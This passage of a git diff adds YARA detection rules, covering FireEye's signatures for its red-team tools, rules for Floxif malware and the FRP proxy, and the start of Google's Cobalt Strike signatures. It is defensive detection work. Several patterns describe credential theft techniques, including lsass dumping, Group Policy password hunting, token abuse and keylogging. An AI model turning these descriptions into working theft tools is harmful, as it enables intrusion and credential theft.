+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the TitoSpecial project. There are 2 GUIDs in this rule as the x86 and x64 versions of this tool use a different ProjectGuid."
+        md5 = "4bf96a7040a683bd34c618431e571e26"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "0262c720-e6b8-5bf2-a242-19a7f044973f"
+    strings:
+        $typelibguid1 = "C6D94B4C-B063-4DEB-A83A-397BA08515D3" ascii nocase wide
+        $typelibguid2 = "3b5320cf-74c1-494e-b2c8-a94a24380e60" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and ($typelibguid1 or $typelibguid2)
+}
+rule CredTheft_MSIL_WCMDump_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WCMDump' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "22796ccb-a01e-59d8-8c3a-6cbb62899940"
+    strings:
+        $typelibguid0 = "21e322f2-4586-4aeb-b1ed-d240e2a79e19" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Builder_Win64_MATRYOSHKA_1
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        description = "Detects builder matryoshka_pe_to_shellcode.rs"
+        md5 = "8d949c34def898f0f32544e43117c057"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "0afcf13e-5cd3-5c1c-897e-b6d0c283ab0f"
+    strings:
+        $sb1 = { 4D 5A 45 52 [0-32] E8 [0-32] 00 00 00 00 [0-32] 5B 48 83 EB 09 53 48 81 [0-32] C3 [0-32] FF D3 [0-32] C3 }
+        $ss1 = "\x00Stub Size: "
+        $ss2 = "\x00Executable Size: "
+        $ss3 = "\x00[+] Writing out to file"
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule Trojan_Win64_Generic_23
+{
+    meta:
+        description = "Detects FireEye's Windows trojan"
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "b66347ef110e60b064474ae746701d4a"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "470bfeed-e000-58c6-b115-dfa8aea25bef"
+    strings:
+        $api1 = "VirtualAllocEx" fullword
+        $api2 = "UpdateProcThreadAttribute" fullword
+        $api3 = "DuplicateTokenEx" fullword
+        $api4 = "CreateProcessAsUserA" fullword
+        $inject = { 8B 85 [4] C7 44 24 20 40 00 00 00 41 B9 00 30 00 00 44 8B C0 33 D2 48 8B 8D [4] FF 15 [4] 48 89 45 ?? 48 83 7D ?? 00 75 ?? 48 8B 45 ?? E9 [4] 8B 85 [4] 48 C7 44 24 20 00 00 00 00 44 8B C8 4C 8B 85 [4] 48 8B 55 ?? 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? 48 8B 45 ?? EB ?? 8B 85 [4] 48 8B 4D ?? 48 03 C8 48 8B C1 48 89 45 48 48 8D 85 [4] 48 89 44 24 30 C7 44 24 28 00 00 00 00 48 8B 85 [4] 48 89 44 24 20 4C 8B 4D ?? 41 B8 00 00 10 00 33 D2 48 8B 8D [4] FF 15 }
+        $process = { 48 C7 44 24 30 00 00 00 00 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 08 00 00 00 4C 8D 8D [4] 41 B8 00 00 02 00 33 D2 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? E9 [4] 48 8B 85 [4] 48 89 85 [4] 48 8D 85 [4] 48 89 44 24 50 48 8D 85 [4] 48 89 44 24 48 48 C7 44 24 40 00 00 00 00 48 C7 44 24 38 00 00 00 00 C7 44 24 30 04 00 08 00 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 05 [4] 33 D2 48 8B [2-5] FF 15 }
+        $token = { FF 15 [4] 4C 8D 45 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 75 ?? E9 [4] 48 8D [2-5] 48 89 44 24 28 C7 44 24 20 02 00 00 00 41 B9 02 00 00 00 45 33 C0 BA 0B 00 00 00 48 8B 4D ?? FF 15 [4] 85 C0 75 ?? E9 [4] 4C 8D 8D [4] 45 33 C0 BA 01 00 00 00 33 C9 FF 15 }
+    condition:
+        ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B)) and all of them
+}
+rule HackTool_MSIL_KeePersist_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeePersist' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "950a4744-2696-5eb7-8524-7f689cb5dbb0"
+    strings:
+        $typelibguid0 = "1df47db2-7bb8-47c2-9d85-5f8d3f04a884" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Tool_MSIL_CSharpUtils_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CSharpUtils' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "a0e8c45a-759a-5611-aa2a-3113a75fb651"
+    strings:
+        $typelibguid0 = "2130bcd9-7dd8-4565-8414-323ec533448d" ascii nocase wide
+        $typelibguid1 = "319228f0-2c55-4ce1-ae87-9e21d7db1e40" ascii nocase wide
+        $typelibguid2 = "4471fef9-84f5-4ddd-bc0c-31f2f3e0db9e" ascii nocase wide
+        $typelibguid3 = "5c3bf9db-1167-4ef7-b04c-1d90a094f5c3" ascii nocase wide
+        $typelibguid4 = "ea383a0f-81d5-4fa8-8c57-a950da17e031" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Trojan_MSIL_GORAT_Module_PowerShell_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Module - PowerShell' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "b0fba130-9cd9-5b7f-a806-9ff8099f5731"
+    strings:
+        $typelibguid0 = "38d89034-2dd9-4367-8a6e-5409827a243a" ascii nocase wide
+        $typelibguid1 = "845ee9dc-97c9-4c48-834e-dc31ee007c25" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_PuppyHound_1
+{
+    meta:
+        description = "This is a modification of an existing FireEye detection for SharpHound. However, it looks for the string 'PuppyHound' instead of 'SharpHound' as this is all that was needed to detect the PuppyHound variant of SharpHound."
+        md5 = "eeedc09570324767a3de8205f66a5295"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "1155f959-c8bc-597a-8a80-abee8d95b6ec"
+    strings:
+        $1 = "PuppyHound"
+        $2 = "UserDomainKey"
+        $3 = "LdapBuilder"
+        $init = { 28 [2] 00 0A 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 28 [2] 00 0A 0B 1F 2D }
+        $msil = /\x00_Cor(Exe|Dll)Main\x00/
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Builder_PY_MATRYOSHKA_1
+{
+    meta:
+        description = "Detects FireEye's Python MATRYOSHKA tool"
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "25a97f6dba87ef9906a62c1a305ee1dd"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "0135f3bb-28b3-5fc4-85a2-b12c46c8bc45"
+    strings:
+        $s1 = ".pop(0)])"
+        $s2 = "[1].replace('unsigned char buf[] = \"'"
+        $s3 = "binascii.hexlify(f.read()).decode("
+        $s4 = "os.system(\"cargo build {0} --bin {1}\".format("
+        $s5 = "shutil.which('rustc')"
+        $s6 = "~/.cargo/bin"
+        $s7 = /[\x22\x27]\\\\x[\x22\x27]\.join\(\[\w{1,64}\[\w{1,64}:\w{1,64}[\x09\x20]{0,32}\+[\x09\x20]{0,32}2\]/
+    condition:
+        all of them
+}
+rule Loader_MSIL_RuralBishop_1b
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public RuralBishop project."
+        md5 = "09bdbad8358b04994e2c04bb26a160ef"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "55a060ef-74e2-50d9-9090-558aaa04d97d"
+    strings:
+        $typelibguid1 = "FE4414D9-1D7E-4EEB-B781-D278FE7A5619" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule APT_HackTool_MSIL_NOAMCI_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'noamci' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "48066258-528f-5a70-81e1-15d6dfd9ff4f"
+    strings:
+        $typelibguid0 = "7bcccf21-7ecd-4fd4-8f77-06d461fd4d51" ascii nocase wide
+        $typelibguid1 = "ef86214e-54de-41c3-b27f-efc61d0accc3" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_PXELOOT_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the PXE And Loot project."
+        md5 = "82e33011ac34adfcced6cddc8ea56a81"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "5a72a6ff-bae4-57f5-a19b-a4595ac57293"
+    strings:
+        $typelibguid1 = "78B2197B-2E56-425A-9585-56EDC2C797D6" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule APT_HackTool_MSIL_ADPassHunt_2
+{
+    meta:
+        description = "Detects FireEye's ADPassHunt tool"
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "6efb58cf54d1bb45c057efcfbbd68a93"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "a3b12fd7-e82d-5ef0-9125-7c069cd9bec4"
+    strings:
+        $s1 = "LDAP://" wide
+        $s2 = "[GPP] Searching for passwords now..." wide
+        $s3 = "Searching Group Policy Preferences (Get-GPPPasswords + Get-GPPAutologons)!" wide
+        $s4 = "possibilities so far)..." wide
+        $s5 = "\\groups.xml" wide
+        $s6 = "Found interesting file:" wide
+        $s7 = "\x00GetDirectories\x00"
+        $s8 = "\x00DirectoryInfo\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_ADPassHunt_1
+{
+    meta:
+        description = "Detects FireEye's ADPassHunt tool"
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        md5 = "6efb58cf54d1bb45c057efcfbbd68a93"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "736b5300-215b-5314-9234-69ff0050b73e"
+    strings:
+        $sb1 = { 73 [2] 00 0A 0A 02 6F [2] 00 0A 0B 38 [4] 12 ?? 28 [2] 00 0A 0? 73 [2] 00 0A 0? 0? 0? 6F [2] 00 0A 1? 13 ?? 72 [4] 13 ?? 0? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 1? 3B [4] 11 ?? 72 [4] 28 [2] 00 0A 13 ?? 0? 72 [4] 6F [2] 00 0A 6F [2] 00 0A 13 ?? 38 [4] 11 ?? 6F [2] 00 0A 74 [2] 00 01 13 ?? 11 ?? 72 [4] 6F [2] 00 0A 2C ?? 11 ?? 72 [4] 11 ?? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 6F [2] 00 0A 72 [4] 28 [2] 00 0A }
+        $sb2 = { 02 1? 8D [2] 00 01 [0-32] 1? 1F 2E 9D 6F [2] 00 0A 72 [4] 0A 0B 1? 0? 2B 2E 0? 0? 9A 0? 0? 72 [4] 6F [2] 00 0A 2D ?? 06 72 [4] 28 [2] 00 0A 0A 06 72 [4] 0? 28 [2] 00 0A 0A 0? 1? 58 0? 0? 0? 8E 69 32 CC 06 2A }
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_SHARPSACK_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsack' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "8e344acb-73c4-5509-be9d-85cf6fe94445"
+    strings:
+        $typelibguid0 = "1946808a-1a01-40c5-947b-8b4c3377f742" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Loader_Win64_PGF_5
+{
+    meta:
+        description = "PGF payload, generated rule based on symfunc/8167a6d94baca72bac554299d7c7f83c"
+        md5 = "150224a0ccabce79f963795bf29ec75b"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "4fa4a1d6-cb63-582d-801c-b4c89c44d9ca"
+    strings:
+        $cond1 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 13 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 66 23 00 00 48 8B 4C 24 40 FF 15 EB F9 FF FF B8 01 00 00 00 48 83 C4 38 C3 }
+        $cond2 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 A3 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 F6 20 00 00 48 8B 4C 24 40 FF 15 7B FA FF FF B8 01 00 00 00 48 83 C4 38 C3 }
+        $cond3 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? 8B 44 24 48 89 44 24 20 83 7C 24 2? ?1 74 ?? EB ?? 48 8B 44 24 40 48 ?? ?? ?? ?? ?? ?? 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? 48 83 C4 38 C3 }
+        $cond4 = { 4C 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 48 83 EC 38 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 7C 24 ?? 01 74 ?? EB ?? 48 8B 44 24 ?? 48 89 05 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? B8 01 00 00 00 48 83 C4 38 C3 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and any of them
+}
+rule APT_Trojan_Win_REDFLARE_2
+{
+    meta:
+        description = "Detects FireEye's REDFLARE tool"
+        date = "2020-11-27"
+        modified = "2020-11-27"
+        md5 = "9529c4c9773392893a8a0ab8ce8f8ce1,05b99d438dac63a5a993cea37c036673"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "84881e5c-05df-5911-af42-ec82e559588c"
+    strings:
+        $1 = "initialize" fullword
+        $2 = "getData" fullword
+        $3 = "putData" fullword
+        $4 = "fini" fullword
+        $5 = "Cookie: SID1=%s" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_DTRIM_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'dtrim' project, which is a modified version of SharpSploit."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "9be695a1-6d18-5952-974c-96a30f035e7a"
+    strings:
+        $typelibguid0 = "7760248f-9247-4206-be42-a6952aa46da2" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_SharPivot_2
+{
+    meta:
+        description = "Detects FireEye's SharPivot tool"
+        md5 = "e4efa759d425e2f26fbc29943a30f5bd"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "8d6d28ce-de3a-5a38-b654-ba1372d47568"
+    strings:
+        $s1 = "costura"
+        $s2 = "cmd_schtask" wide
+        $s3 = "cmd_wmi" wide
+        $s4 = "cmd_rpc" wide
+        $s5 = "GoogleUpdateTaskMachineUA" wide
+        $s6 = "servicehijack" wide
+        $s7 = "poisonhandler" wide
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_REVOLVER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'revolver' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "8fa5adb7-dc66-51bc-9f60-2308515f33a8"
+    strings:
+        $typelibguid0 = "a8bdbba4-7291-49d1-9a1b-372de45a9d88" ascii nocase wide
+        $typelibguid1 = "b214d962-7595-440b-abef-f83ecdb999d2" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Keylogger_Win64_REDFLARE_1
+{
+    meta:
+        date = "2020-12-01"
+        modified = "2020-12-01"
+        md5 = "fbefb4074f1672a3c29c1a47595ea261"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "3c980f5a-c775-5c25-ba28-91a93a1b9a85"
+    strings:
+        $create_window = { 41 B9 00 00 CF 00 [4-40] 33 C9 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 [2-10] 00 00 00 80 FF 15 }
+        $keys_check = { B9 14 00 00 00 FF 15 [4-8] B9 10 00 00 00 FF 15 [4] BE 00 80 FF FF 66 85 C6 75 ?? B9 A0 00 00 00 FF 15 [4] 66 85 C6 75 ?? B9 A1 00 00 00 FF 15 [4] 66 85 C6 74 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_HackTool_Win64_EXCAVATOR_1
+{
+    meta:
+        date = "2020-11-30"
+        modified = "2020-11-30"
+        md5 = "6a9a114928554c26675884eeb40cc01b"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "e593b589-747d-53c2-a39a-57485e4f7641"
+    strings:
+        $api1 = "PssCaptureSnapshot" fullword
+        $api2 = "MiniDumpWriteDump" fullword
+        $dump = { BA FD 03 00 AC [0-8] 41 B8 1F 00 10 00 48 8B ?? FF 15 [4] 85 C0 0F 85 [2] 00 00 [0-2] 48 8D 05 [5] 89 ?? 24 30 ( C7 44 24 28 80 00 00 00 48 8D 0D ?? ?? ?? ?? | 48 8D 0D ?? ?? ?? ?? C7 44 24 28 80 00 00 00 ) 45 33 C9 [0-5] 45 33 C0 C7 44 24 20 01 00 00 00 BA 00 00 00 10 [0-10] FF 15 [4] 48 8B ?? 48 83 F8 FF ( 74 | 0F 84 ) [1-4] 48 8B 4C 24 ?? 48 8D 44 24 ?? 48 89 44 24 30 ( 41 B9 02 00 00 00 | 44 8D 4D 02 ) ?? 89 ?? 24 28 4C 8B ?? 8B [2] 89 ?? 24 20 FF 15 [4] 48 8B ?? FF 15 [4] 48 8B ?? FF 15 [4] FF 15 [4] 48 8B 54 24 ?? 48 8B C8 FF 15 }
+        $lsass = { 6C 73 61 73 [6] 73 2E 65 78 [6] 65 }
+    condition:
+        ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B)) and all of them
+}
+rule APT_Loader_Win64_MATRYOSHKA_2
+{
+    meta:
+        date = "2020-12-02"
+        modified = "2020-12-02"
+        description = "matryoshka.rs"
+        md5 = "7f8102b789303b7861a03290c79feba0"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "25f916bc-6ee1-5175-903c-4266b0a086e1"
+    strings:
+        $sb1 = { 4D [2] 00 49 [2] 08 B? 02 00 00 00 31 ?? E8 [4] 48 89 ?? 48 89 ?? 4C 89 ?? 49 89 ?? E8 [4] 4C 89 ?? 48 89 ?? E8 [4] 83 [2] 01 0F 84 [4] 48 89 ?? 48 8B [2] 48 8B [2] 48 89 [5] 48 89 [5] 48 89 [5] 41 B? [4] 4C 89 ?? 31 ?? E8 [4] C7 45 [5] 48 89 ?? 4C 89 ?? E8 [4] 85 C0 }
+        $sb2 = { 4C [2] 0F 83 [4] 41 0F [3] 01 41 32 [2] 00 48 8B [5] 48 3B [5] 75 ?? 41 B? 01 00 00 00 4C 89 ?? E8 [4] E9 }
+        $si1 = "CreateToolhelp32Snapshot" fullword
+        $si2 = "Process32Next" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_floxif.yar b/yara-Neo23x0/gen_floxif.yar
new file mode 100644
index 0000000..9105d4c
--- /dev/null
+++ b/yara-Neo23x0/gen_floxif.yar
@@ -0,0 +1,17 @@
+
+rule Malware_Floxif_mpsvc_dll : HIGHVOL {
+   meta:
+      description = "Malware - Floxif"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-04-07"
+      hash1 = "1e654ee1c4736f4ccb8b5b7aa604782cfb584068df4d9e006de8009e60ab5a14"
+      id = "37af366a-24b2-5402-b0b5-6e2c80f8c903"
+   strings:
+      $op1 = { 04 80 7a 03 01 75 04 8d 42 04 c3 8d 42 04 53 8b }
+      $op2 = { 88 19 74 03 41 eb ea c6 42 03 01 5b c3 8b 4c 24 }
+      $op3 = { ff 03 8d 00 f9 ff ff 88 01 eb a1 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
+}
diff --git a/yara-Neo23x0/gen_frp_proxy.yar b/yara-Neo23x0/gen_frp_proxy.yar
new file mode 100644
index 0000000..48a964a
--- /dev/null
+++ b/yara-Neo23x0/gen_frp_proxy.yar
@@ -0,0 +1,44 @@
+
+rule HKTL_FRP_Apr20_1 {
+   meta:
+      description = "Detects FRP fast reverse proxy tool often used by threat groups"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/fatedier/frp"
+      date = "2020-04-07"
+      modified = "2022-11-03"
+      score = 70
+      hash1 = "05537c1c4e29db76a24320fb7cb80b189860389cdb16a9dbeb0c8d30d9b37006"
+      hash2 = "08c685c8febb5385f7548c2a64a27bae7123a937c5af958ebc08a3accb29978d"
+      id = "55483832-0e0b-5c28-8be5-dbd14ddb50e3"
+   strings:
+      $x1 = "frp/vendor/github.com/spf13/" ascii
+      $x2 = "github.com/fatedier/frp/vendor/" ascii
+
+      $fpg2 = "<html"
+      $fpg3 = "<HTML"
+      $fpg6 = "<?xml"
+   condition:
+      1 of ($x*) and not 1 of ($fp*)
+}
+
+rule HKTL_FRP_INI_Apr20_1 {
+   meta:
+      description = "Detects FRP fast reverse proxy tool INI file often used by threat groups"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Chinese Hacktools OpenDir"
+      date = "2020-04-07"
+      score = 60
+      hash1 = "1dabef3c170e4e559c50d603d47fb7f66f6e3da75a65c3435b18175d6e9785bb"
+      id = "5c652c9c-715d-5ba5-821a-3e533b1e78c6"
+   strings:
+      $h1 = "[common]" ascii
+      $s1 = "server_addr =" ascii fullword
+      $s2 = "remote_port =" ascii fullword
+      $s3 = "[RemoteDesktop]" ascii fullword
+      $s4 = "local_ip = " ascii
+      $s5 = "type = tcp" ascii fullword
+   condition:
+      uint16(0) == 0x635b and
+      filesize < 1KB and
+      $h1 at 0 and all of them
+}
diff --git a/yara-Neo23x0/gen_gcti_cobaltstrike.yar b/yara-Neo23x0/gen_gcti_cobaltstrike.yar
new file mode 100644
index 0000000..93dc27b
--- /dev/null
+++ b/yara-Neo23x0/gen_gcti_cobaltstrike.yar
@@ -0,0 +1,4849 @@
+
+/* 
+	SOURCE: https://github.com/chronicle/GCTI
+	
+	Generated with:
+	cat ./GCTI/YARA/CobaltStrike/* >> ./signature-base/yara/gen_gcti_cobaltstrike.yar
+*/
+
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Artifact32_and_Resources_Dropper_v1_49_to_v3_14
+{
+	meta:
+		description = "Cobalt Strike's resources/artifact32{.exe,.dll,big.exe,big.dll} and resources/dropper.exe signature for versions 1.49 to 3.14"
+		hash =  "40fc605a8b95bbd79a3bd7d9af73fbeebe3fada577c99e7a111f6168f6a0d37a"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "243e3761-cbea-561c-97da-f6ba12ebc7ee"
+	strings:
+  // Decoder function for the embedded payload
+	$payloadDecoder = { 8B [2] 89 ?? 03 [2] 8B [2] 03 [2] 0F B6 18 8B [2] 89 ?? C1 ?? 1F C1 ?? 1E 01 ?? 83 ?? 03 29 ?? 03 [2] 0F B6 00 31 ?? 88 ?? 8B [2] 89 ?? 03 [2] 8B [2] 03 [2] 0F B6 12 }
+
+	condition:
+		any of them
+}
+
